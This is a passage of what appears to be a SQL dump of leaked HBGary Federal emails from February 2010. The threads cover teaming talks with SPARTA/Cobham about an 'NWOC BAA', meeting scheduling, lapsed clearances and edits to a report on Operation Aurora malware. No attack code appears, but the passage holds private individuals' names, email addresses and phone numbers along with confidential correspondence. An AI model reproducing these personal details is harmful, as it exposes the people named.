Ph.D.Chief ScientistSPARTA National Security Systems Sectordba Cobham Analytic Solutions7110 Samuel Morse DriveColumbia, MD 21046www.sparta.comT:&nbsp;443-430-8059C: 703-209-2221F: 443-430-8208&nbsp;Please consider the environment before\r\nprinting this emailThis e-mail and any files transmitted with it\r\n(\"E-mail\") is intended solely for the addressee(s) and may contain\r\nconfidential and/or legally privileged information. If you are not the\r\naddressee(s), any disclosure, reproduction, copying, distribution or other use\r\nof the E-mail is prohibited. If you have received this E-mail in error, please\r\ndelete it and notify the sender immediately via our switchboard or return\r\ne-mail.Neither the company nor any subsidiary or affiliate or\r\nassociated company nor any individual sending this E-mail accepts any liability\r\nin respect of the content (including errors and omissions) nor shall this\r\ne-mail be deemed to enter the company or any subsidiary or affiliate or\r\nassociated company into a contract or to create any legally binding obligations\r\nunless expressly agreed to in writing under separate cover and timeliness of\r\nthe E-mail which arise as a result of transmission. If verification is\r\nrequired, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010\r\n11:47 AM\r\nTo: Mettala,\r\n Erik\r\nSubject: Re: Introductions\r\n\r\n&nbsp;Hi Erik,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nLooking forward to our meeting later this week. &nbsp;I would like to\r\nget an NDA in place between our orgs to discuss freely. &nbsp;Would you like me\r\nto send you ours or want to go with yours, I am good either way.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n       \r\n\r\n       \r\n        \r\n       \r\n\r\n\r\nAaron,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased\r\nto meet you.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look\r\nforward to discussing NWOC and other opportunities with you.&nbsp;Erik&nbsp;\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\nChief Scientist\r\n\r\nSPARTA National Security Systems Sector\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n7110 Samuel Morse Drive\r\n\r\nColumbia, MD\r\n 21046\r\n\r\nwww.sparta.com\r\n\r\nT:&nbsp;443-430-8059\r\n\r\nC: 703-209-2221\r\n\r\nF: 443-430-8208\r\n\r\n&nbsp;Please consider the environment before\r\nprinting this email\r\n\r\nThis e-mail and any files transmitted with it\r\n(\"E-mail\") is intended solely for the addressee(s) and may contain\r\nconfidential and/or legally privileged information. If you are not the\r\naddressee(s), any disclosure, reproduction, copying, distribution or other use\r\nof the E-mail is prohibited. If you have received this E-mail in error, please\r\ndelete it and notify the sender immediately via our switchboard or return\r\ne-mail.\r\n\r\nNeither the company nor any subsidiary or affiliate or\r\nassociated company nor any individual sending this E-mail accepts any liability\r\nin respect of the content (including errors and omissions) nor shall this\r\ne-mail be deemed to enter the company or any subsidiary or affiliate or\r\nassociated company into a contract or to create any legally binding obligations\r\nunless expressly agreed to in writing under separate cover and timeliness of\r\nthe E-mail which arise as a result of transmission. If verification is\r\nrequired, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David \r\nSent: Wednesday, January 27, 2010\r\n4:02 PM\r\nTo: Aaron\r\n Barr\r\nCc: Balenson, David; Mettala, Erik\r\nSubject: RE: Introductions\r\n\r\n&nbsp;Aaron-&nbsp;Thank you for your\r\ninquiry. We’d be happy to exchange capabilities and explore possible ways to\r\nwork together. As I mentioned in my voicemail, tomorrow will be my last day at SPARTA.\r\nPlease follow-up with Erik Mettala, Chief Scientist for SPARTA’s\r\nNational Security Sector. Erik’s contact information is erik.mettala@cobham.com, 443-430-8059.&nbsp;\r\n\r\nThanks and regards,-DB&nbsp;------------------------------------------------------------------------------------------------David M. Balenson,\r\nDivision Manager, Security ResearchSPARTA National Security SectorCobham Analytic\r\nSolutionsTel: 443.430.8004Fax: 443.430.8153Email: David.Balenson@cobham.com&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010\r\n11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n&nbsp;Hi Dave,\r\n\r\nI would like to talk to you about\r\nour similar interest in the NWOC BAA. As well I would be interested in getting\r\nan update on your capabilities and likewise get you familiar with ours. I\r\nreceived a briefing more than an year back when I was leading the technical\r\nstrategy for Northrop Grummans cyber campaign. I remember being impressed by\r\nyour amount of IP related to cybersecurity. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',437,'aaron_hbgary_com/437.html'),(2159,'2010-02-08','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000979.M281443P3547Q2160.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow much snow did you get?&nbsp;&nbsp; I got about 3.5 ft and in some\r\nplaces 4+.\r\n\r\n&nbsp;\r\n\r\nWhat is the plan for tomorrow?&nbsp; I&#8217;ll call you now.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 8:04 AM\r\nTo: Mettala, Erik\r\nCc: Rich Cummings; Bob Slapnik; Ted Vera\r\nSubject: Re: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nErik,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am not going to make it out of the neighborhood today.\r\n&nbsp;Should I set up a webex and we can do a technology demonstration and have\r\na discussion online?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 9:56 AM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please give me a call ASAP.&nbsp;\r\nI&#8217;ve got a scheduling issue, and your phone number is out of reach.&nbsp; Cell\r\nworks best.\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\nChief Scientist\r\n\r\nSPARTA National Security Systems Sector\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n7110 Samuel Morse Drive\r\n\r\nColumbia, MD 21046\r\n\r\nwww.sparta.com\r\n\r\nT:&nbsp;443-430-8059\r\n\r\nC: 703-209-2221\r\n\r\nF: 443-430-8208\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before printing this email\r\n\r\nThis\r\ne-mail and any files transmitted with it (&quot;E-mail&quot;) is intended\r\nsolely for the addressee(s) and may contain confidential and/or legally\r\nprivileged information. If you are not the addressee(s), any disclosure,\r\nreproduction, copying, distribution or other use of the E-mail is prohibited.\r\nIf you have received this E-mail in error, please delete it and notify the\r\nsender immediately via our switchboard or return e-mail.\r\n\r\nNeither\r\nthe company nor any subsidiary or affiliate or associated company nor any\r\nindividual sending this E-mail accepts any liability in respect of the content\r\n(including errors and omissions) nor shall this e-mail be deemed to enter the\r\ncompany or any subsidiary or affiliate or associated company into a contract or\r\nto create any legally binding obligations unless expressly agreed to in writing\r\nunder separate cover and timeliness of the E-mail which arise as a result of\r\ntransmission. If verification is required, please request a hard copy version\r\nfrom the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010 11:47 AM\r\nTo: Mettala, Erik\r\nSubject: Re: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Erik,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to our meeting later this week. &nbsp;I\r\nwould like to get an NDA in place between our orgs to discuss freely.\r\n&nbsp;Would you like me to send you ours or want to go with yours, I am good\r\neither way.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased to meet you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look forward to discussing\r\nNWOC and other opportunities with you.\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\nChief Scientist\r\n\r\nSPARTA National Security Systems Sector\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n7110 Samuel Morse Drive\r\n\r\nColumbia, MD 21046\r\n\r\nwww.sparta.com\r\n\r\nT:&nbsp;443-430-8059\r\n\r\nC: 703-209-2221\r\n\r\nF: 443-430-8208\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before printing this email\r\n\r\nThis\r\ne-mail and any files transmitted with it (&quot;E-mail&quot;) is intended\r\nsolely for the addressee(s) and may contain confidential and/or legally\r\nprivileged information. If you are not the addressee(s), any disclosure,\r\nreproduction, copying, distribution or other use of the E-mail is prohibited.\r\nIf you have received this E-mail in error, please delete it and notify the\r\nsender immediately via our switchboard or return e-mail.\r\n\r\nNeither\r\nthe company nor any subsidiary or affiliate or associated company nor any\r\nindividual sending this E-mail accepts any liability in respect of the content\r\n(including errors and omissions) nor shall this e-mail be deemed to enter the\r\ncompany or any subsidiary or affiliate or associated company into a contract or\r\nto create any legally binding obligations unless expressly agreed to in writing\r\nunder separate cover and timeliness of the E-mail which arise as a result of\r\ntransmission. If verification is required, please request a hard copy version\r\nfrom the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David \r\nSent: Wednesday, January 27, 2010 4:02 PM\r\nTo: Aaron Barr\r\nCc: Balenson, David; Mettala, Erik\r\nSubject: RE: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nThank you for your inquiry. We&#8217;d be happy to exchange\r\ncapabilities and explore possible ways to work together. As I mentioned in my\r\nvoicemail, tomorrow will be my last day at SPARTA. Please follow-up with Erik\r\nMettala, Chief Scientist for SPARTA&#8217;s National Security Sector. Erik&#8217;s contact\r\ninformation is erik.mettala@cobham.com,\r\n443-430-8059.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks and regards,\r\n\r\n-DB\r\n\r\n&nbsp;\r\n\r\n------------------------------------------------------------------------------------------------\r\n\r\nDavid M. Balenson, Division Manager, Security Research\r\n\r\nSPARTA National Security Sector\r\n\r\nCobham Analytic Solutions\r\n\r\nTel: 443.430.8004\r\n\r\nFax: 443.430.8153\r\n\r\nEmail: David.Balenson@cobham.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010 11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Dave,\r\n\r\n\r\n\r\nI would like to talk to you about our similar\r\ninterest in the NWOC BAA. As well I would be interested in getting an update on\r\nyour capabilities and likewise get you familiar with ours. I received a briefing\r\nmore than an year back when I was leading the technical strategy for Northrop\r\nGrummans cyber campaign. I remember being impressed by your amount of IP\r\nrelated to cybersecurity. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4716,'aaron_hbgary_com/4716.html'),(2160,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000979.M37436P3547Q2159.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: DRAFT 6, this is final draft assuming we don\'t have any more  additions','Do you think an interesting Palantir diagram would be to plot the servers used as C&C nodes against different malware events and associated authors/executors?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 7, 2010, at 8:13 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Team,\r\n> OK, I made all of Karen\'s changes, removed Verdasys, and added a small blurb for HBGary Federal under the contact info section.  (assuming aaron is cool w/ what I wrote, this is final draft).\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10275,'aaron_hbgary_com/10275.html'),(2161,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000979.M477271P3547Q2161.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,,','Re: Aurora report, almost final draft','Karen,1. Complete, Concise, actionable information (when I say complete I don\'t mean we have all the information but we cover all the different factors of the operation).2. &nbsp;Delivering operational intelligence rather than just specifics on Malware.3. &nbsp;Provides enough information to help organizations protect themselves today and aid them in protecting themselves tomorrow.What do I mean by the above bullets. &nbsp;The report deals with the operation in total. &nbsp;Providing information on the malware, actors, communications, intent. &nbsp;And it provides this information quickly in a form that is easily digestible by organizations and security professionals. &nbsp;Most of the other malware reports focus on a particular part of the malware and/or go way down into the weeds of its execution. &nbsp;This is great information but unnecessary when your job is just to stop the malware from being successful. &nbsp;Because we deliver information on all of the different aspects of the operation it gives security professionals more information to use to protect their systems. &nbsp;As we know malware evolves...rapidly. &nbsp;The more information you have the more easily you will be able to detect existing and evolving threats.Is this good?AaronOn Feb 7, 2010, at 7:44 PM, Greg Hoglund wrote:&nbsp;\r\nKaren,\r\n&nbsp;\r\nThe tech herald article you mention is actually referenced in the report itself, and you will find this on page one along w/ the mention of Peng Yong.\r\n&nbsp;\r\nThe other companies mentioned were obtained from searching google news.&nbsp; I don\'t have the exact reference but could probably find it again if you think it\'s needed.\r\n&nbsp;\r\nIn terms of the inoculator, it merely falls into \'defense in depth\'&nbsp; - maybe the AV missed it, or maybe the AV was disabled by the attackers, etc.&nbsp; \r\n&nbsp;\r\nOn the three short bullet points, Aaron can you please do those?&nbsp; Since we talked last night it seemed you could describe a conscise value proposition for the report.\r\n&nbsp;\r\nI will remove verdasys until further notice.&nbsp; Encase has already been removed, as we can\'t get the software to work well enough to get a screenshot lolz.\r\n&nbsp;\r\n-Greg\r\nOn Sun, Feb 7, 2010 at 4:16 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nJust to clarify -- the bulletpoints are for pitching purposes -- you don\'t have to put them in the report itself.&nbsp;--- On Sun, 2/7/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: Aurora report, almost final draft\r\nTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.com, \"Greg Hoglund\" &lt;greg@hbgary.com&gt;\r\nDate: Sunday, February 7, 2010, 4:14 PM \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Greg, Here are my comments/questions about the report:\r\n&nbsp;\r\nEssentially, report seems to support this recent article that there isn\'t direct evidence tying Google hack to Chinese government. \r\nhttp://www.thetechherald.com/article.php/201004/5151/Was-Operation-Aurora-nothing-more-than-a-conventional-attack?page=1\r\n\r\n&nbsp;\r\nIntro: Change any references to \"he\" to \"individual\" -- keep it gender neutral\r\n&nbsp;\r\nOther Google attack publically speculated&nbsp;companies: Just want to be sure Dow Chemical, etc. have all been publicly discussed -- that we&nbsp;aren\'t ID\'ing anyone new here.&nbsp;\r\n&nbsp;\r\nVerdasys/Encase: We haven\'t announced integration with either company yet. We were planning to announce Encase&nbsp;by end of month so not sure about discussing here. Also, not sure we need to include Verdasys boilerplate. Penny?\r\n\r\n&nbsp;\r\nInoculation: Will user need to be an HBGary customer to download and inoculate against Aurora malware?&nbsp; You\'re right -- A/Vs already have signature available. What is benefit of HBGary\'s approach --&nbsp;in addition to protecting against this Aurora malware,&nbsp;we can also help enterprises to detect and protect against&nbsp;variants of this malware?&nbsp;\r\n\r\n&nbsp;\r\nReport value: Please provide three short bullet points that&nbsp;highlight&nbsp;report\'s&nbsp;value to industry, to customers\r\n&nbsp;\r\nJavaScript -- still a few areas where \"S\" needs to be capped\r\n&nbsp;\r\nAdd HBGary Website (http://www.hbgary.com) under \"About HBGary, Inc.\"&nbsp;\r\n&nbsp;\r\nAs I mentioned, I\'d like to share the report under embargo with a few reporters before we publish and then issue press release announcing report -- and inoculation&nbsp;-- on publication date followed by Webinar to discuss report. Webinar would be open to public.\r\n\r\n--- On Sun, 2/7/10, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Aurora report, almost final draft\r\nTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;, \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, rich@hbgary.com\r\nDate: Sunday, February 7, 2010, 3:36 PM\r\n\r\n&nbsp;\r\nThe attached version has all the sections and text that I am planning on putting in the report.&nbsp; This is a last chance to sweep thru the document.\r\n&nbsp;\r\n-Greg\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5148,'aaron_hbgary_com/5148.html'),(2162,'2010-02-08','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','/aaron@hbgary.com/new/1297000979.M677149P3547Q2162.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','RE: Introductions','\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\'m snowed in too...&nbsp; Still have about a mile of road to clear before they get to us.\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hmm..&nbsp;&nbsp;&nbsp; Half of what we have to discuss is classified, so it would probably be prudent for us to wait until&nbsp;we can get together.&nbsp;&nbsp; \r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now, given that it\'s supposed to snow again tomorrow,&nbsp;we ought to wait to see when movement is&nbsp;more reasonable.&nbsp;&nbsp; I can\'t do Friday, in any case,&nbsp;but Thursday is a possibility.\r\n&nbsp;\r\nErik&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Mon 2/8/2010 8:03 AMTo: Mettala, ErikCc: Rich Cummings; Bob Slapnik; Ted VeraSubject: Re: Introductions\r\nErik, \r\n\r\nI am not going to make it out of the neighborhood today. &nbsp;Should I set up a webex and we can do a technology demonstration and have a discussion online?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 4, 2010, at 9:56 AM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please give me a call ASAP.&nbsp; I&#8217;ve got a scheduling issue, and your phone number is out of reach.&nbsp; Cell works best.\r\n&nbsp;\r\nErik\r\n&nbsp;\r\n\r\nErik G. Mettala, Ph.D.\r\nChief Scientist\r\nSPARTA National Security Systems Sector\r\ndba Cobham Analytic Solutions\r\n7110 Samuel Morse Drive\r\nColumbia, MD 21046\r\nwww.sparta.com\r\nT:&nbsp;443-430-8059\r\nC: 703-209-2221\r\nF: 443-430-8208\r\n&nbsp;\r\nPlease consider the environment before printing this email\r\nThis e-mail and any files transmitted with it (\"E-mail\") is intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the addressee(s), any disclosure, reproduction, copying, distribution or other use of the E-mail is prohibited. If you have received this E-mail in error, please delete it and notify the sender immediately via our switchboard or return e-mail.\r\nNeither the company nor any subsidiary or affiliate or associated company nor any individual sending this E-mail accepts any liability in respect of the content (including errors and omissions) nor shall this e-mail be deemed to enter the company or any subsidiary or affiliate or associated company into a contract or to create any legally binding obligations unless expressly agreed to in writing under separate cover and timeliness of the E-mail which arise as a result of transmission. If verification is required, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, February 02, 2010 11:47 AMTo: Mettala, ErikSubject: Re: Introductions\r\n&nbsp;\r\nHi Erik,\r\n\r\n&nbsp;\r\n\r\nLooking forward to our meeting later this week. &nbsp;I would like to get an NDA in place between our orgs to discuss freely. &nbsp;Would you like me to send you ours or want to go with yours, I am good either way.\r\n\r\n&nbsp;\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik wrote:\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased to meet you.\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look forward to discussing NWOC and other opportunities with you.\r\n&nbsp;\r\nErik\r\n&nbsp;\r\n\r\nErik G. Mettala, Ph.D.\r\nChief Scientist\r\nSPARTA National Security Systems Sector\r\ndba Cobham Analytic Solutions\r\n7110 Samuel Morse Drive\r\nColumbia, MD 21046\r\nwww.sparta.com\r\nT:&nbsp;443-430-8059\r\nC: 703-209-2221\r\nF: 443-430-8208\r\n&nbsp;\r\nPlease consider the environment before printing this email\r\nThis e-mail and any files transmitted with it (\"E-mail\") is intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the addressee(s), any disclosure, reproduction, copying, distribution or other use of the E-mail is prohibited. If you have received this E-mail in error, please delete it and notify the sender immediately via our switchboard or return e-mail.\r\nNeither the company nor any subsidiary or affiliate or associated company nor any individual sending this E-mail accepts any liability in respect of the content (including errors and omissions) nor shall this e-mail be deemed to enter the company or any subsidiary or affiliate or associated company into a contract or to create any legally binding obligations unless expressly agreed to in writing under separate cover and timeliness of the E-mail which arise as a result of transmission. If verification is required, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David Sent: Wednesday, January 27, 2010 4:02 PMTo: Aaron BarrCc: Balenson, David; Mettala, ErikSubject: RE: Introductions\r\n&nbsp;\r\nAaron-\r\n&nbsp;\r\nThank you for your inquiry. We&#8217;d be happy to exchange capabilities and explore possible ways to work together. As I mentioned in my voicemail, tomorrow will be my last day at SPARTA. Please follow-up with Erik Mettala, Chief Scientist for SPARTA&#8217;s National Security Sector. Erik&#8217;s contact information is erik.mettala@cobham.com, 443-430-8059.\r\n&nbsp;\r\n\r\nThanks and regards,\r\n-DB\r\n&nbsp;\r\n------------------------------------------------------------------------------------------------\r\nDavid M. Balenson, Division Manager, Security Research\r\nSPARTA National Security Sector\r\nCobham Analytic Solutions\r\nTel: 443.430.8004\r\nFax: 443.430.8153\r\nEmail: David.Balenson@cobham.com\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 11:23 AMTo: Balenson, DavidSubject: Introductions\r\n&nbsp;\r\nHi Dave,\r\n\r\nI would like to talk to you about our similar interest in the NWOC BAA. As well I would be interested in getting an update on your capabilities and likewise get you familiar with ours. I received a briefing more than an year back when I was leading the technical strategy for Northrop Grummans cyber campaign. I remember being impressed by your amount of IP related to cybersecurity. \r\n\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',2340,'aaron_hbgary_com/2340.html'),(2163,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000979.M917896P3547Q2163.eml','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','Re: Introductions','I agree lets wait to see what happens this week. &nbsp;If you want I could set up a webex to demo our technology. &nbsp;I am checking to see if the 2nd Proposers day scheduled for tomorrow is even going to happen.I hate to throw a wrench in to things but were are going to have to stay unclassified for now. &nbsp;Neither Ted or Myself have our clearances back yet. &nbsp;They are currently only 2 months lapsed. &nbsp;We have a few avenues we are pursuing, one should pan out soon.AaronOn Feb 8, 2010, at 9:08 AM, Mettala, Erik wrote:\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\'m snowed in too...&nbsp; Still have about a mile of road to clear before they get to us.\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hmm..&nbsp;&nbsp;&nbsp; Half of what we have to discuss is classified, so it would probably be prudent for us to wait until&nbsp;we can get together.&nbsp;&nbsp; \r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now, given that it\'s supposed to snow again tomorrow,&nbsp;we ought to wait to see when movement is&nbsp;more reasonable.&nbsp;&nbsp; I can\'t do Friday, in any case,&nbsp;but Thursday is a possibility.\r\n&nbsp;\r\nErik&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Mon 2/8/2010 8:03 AMTo: Mettala, ErikCc: Rich Cummings; Bob Slapnik; Ted VeraSubject: Re: Introductions\r\nErik, \r\n\r\nI am not going to make it out of the neighborhood today. &nbsp;Should I set up a webex and we can do a technology demonstration and have a discussion online?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 4, 2010, at 9:56 AM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please give me a call ASAP.&nbsp; I’ve got a scheduling issue, and your phone number is out of reach.&nbsp; Cell works best.&nbsp;Erik&nbsp;\r\nErik G. Mettala, Ph.D.Chief ScientistSPARTA National Security Systems Sectordba Cobham Analytic Solutions7110 Samuel Morse DriveColumbia, MD 21046www.sparta.comT:&nbsp;443-430-8059C: 703-209-2221F: 443-430-8208&nbsp;Please consider the environment before printing this emailThis e-mail and any files transmitted with it (\"E-mail\") is intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the addressee(s), any disclosure, reproduction, copying, distribution or other use of the E-mail is prohibited. If you have received this E-mail in error, please delete it and notify the sender immediately via our switchboard or return e-mail.Neither the company nor any subsidiary or affiliate or associated company nor any individual sending this E-mail accepts any liability in respect of the content (including errors and omissions) nor shall this 